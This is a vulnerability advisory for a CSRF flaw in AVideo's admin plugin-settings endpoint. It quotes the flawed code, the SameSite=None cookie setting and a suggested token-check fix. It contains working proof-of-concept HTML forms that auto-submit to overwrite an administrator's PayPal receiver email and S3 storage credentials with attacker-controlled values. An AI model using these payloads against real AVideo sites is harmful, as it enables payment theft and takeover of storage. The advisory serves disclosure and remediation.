| Package | Affected versions | Patched versions |
|---|---|---|
| wwbn/avideo | ≤ 26.0 | |
| avideo | ≤ 26.0 |
AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.
Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.
The session cookie configuration in objects/include_config.php at line 135 explicitly weakens the default browser protections:
// objects/include_config.php:135
ini_set('session.cookie_samesite', 'None');
This means cookies are attached to all cross-origin requests, making CSRF attacks trivial.
The save endpoint in admin/save.json.php directly processes POST data without any token verification:
// admin/save.json.php
$pluginName = $_POST['pluginName'];
$pluginValues = $_POST;
// ...
$pluginDO->$key = $pluginValues[$key];
$p->setObject_data(json_encode($pluginDO));
$p->save();
The plugins table is explicitly exempted from security checks in objects/Object.php at line 529:
// objects/Object.php:529
static function ignoreTableSecurityCheck() {
return ['plugins', /* ... other tables ... */];
}
Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes.
Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
<input type="hidden" name="pluginName" value="PayPerView" />
<input type="hidden" name="paypalReceiverEmail" value="[email protected]" />
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
To overwrite S3 storage credentials instead:
<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
<input type="hidden" name="pluginName" value="AWS_S3" />
<input type="hidden" name="region" value="us-east-1" />
<input type="hidden" name="bucket" value="attacker-bucket" />
<input type="hidden" name="key" value="ATTACKER_KEY_ID" />
<input type="hidden" name="secret" value="ATTACKER_SECRET" />
</form>
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeReproduction steps:
An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:
This is a full platform takeover with zero user interaction beyond a single page visit.
Add CSRF token validation at admin/save.json.php:10, immediately after the admin check:
// admin/save.json.php:10
if (!isGlobalTokenValid()) {
die('{"error":"Invalid CSRF token"}');
}
Found by aisafe.io